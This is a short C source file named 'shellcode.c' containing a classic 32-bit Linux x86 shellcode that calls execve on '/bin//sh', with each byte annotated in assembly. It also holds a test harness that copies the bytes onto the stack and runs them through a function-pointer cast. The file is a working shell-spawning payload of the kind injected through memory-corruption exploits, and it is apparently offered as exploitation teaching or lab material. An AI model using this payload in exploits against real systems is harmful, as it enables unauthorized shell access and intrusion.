shellcode.c (541B)
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 const char code[] = 6 "\x31\xc0" /* xorl %eax, %eax */ 7 "\x50" /* pushl %eax */ 8 "\x68""//sh" /* pushl $addr */ 9 "\x68""/bin" /* pushl $addr */ 10 "\x89\xe3" /* movl %esp, %ebx */ 11 "\x50" /* pushl %eax */ 12 "\x53" /* pushl %ebx */ 13 "\x89\xe1" /* movl %esp, %ecx */ 14 "\x99" /* cdq */ 15 "\xb0\x0b" /* movb $0x0b, %al */ 16 "\xcd\x80" /* int $0x80 */ 17 ; 18 19 int 20 main(int argc, char *argv[]) 21 { 22 char buf[sizeof(code)]; 23 24 strcpy(buf, code); 25 ((void(*)())buf)(); 26 27 return (0); 28 }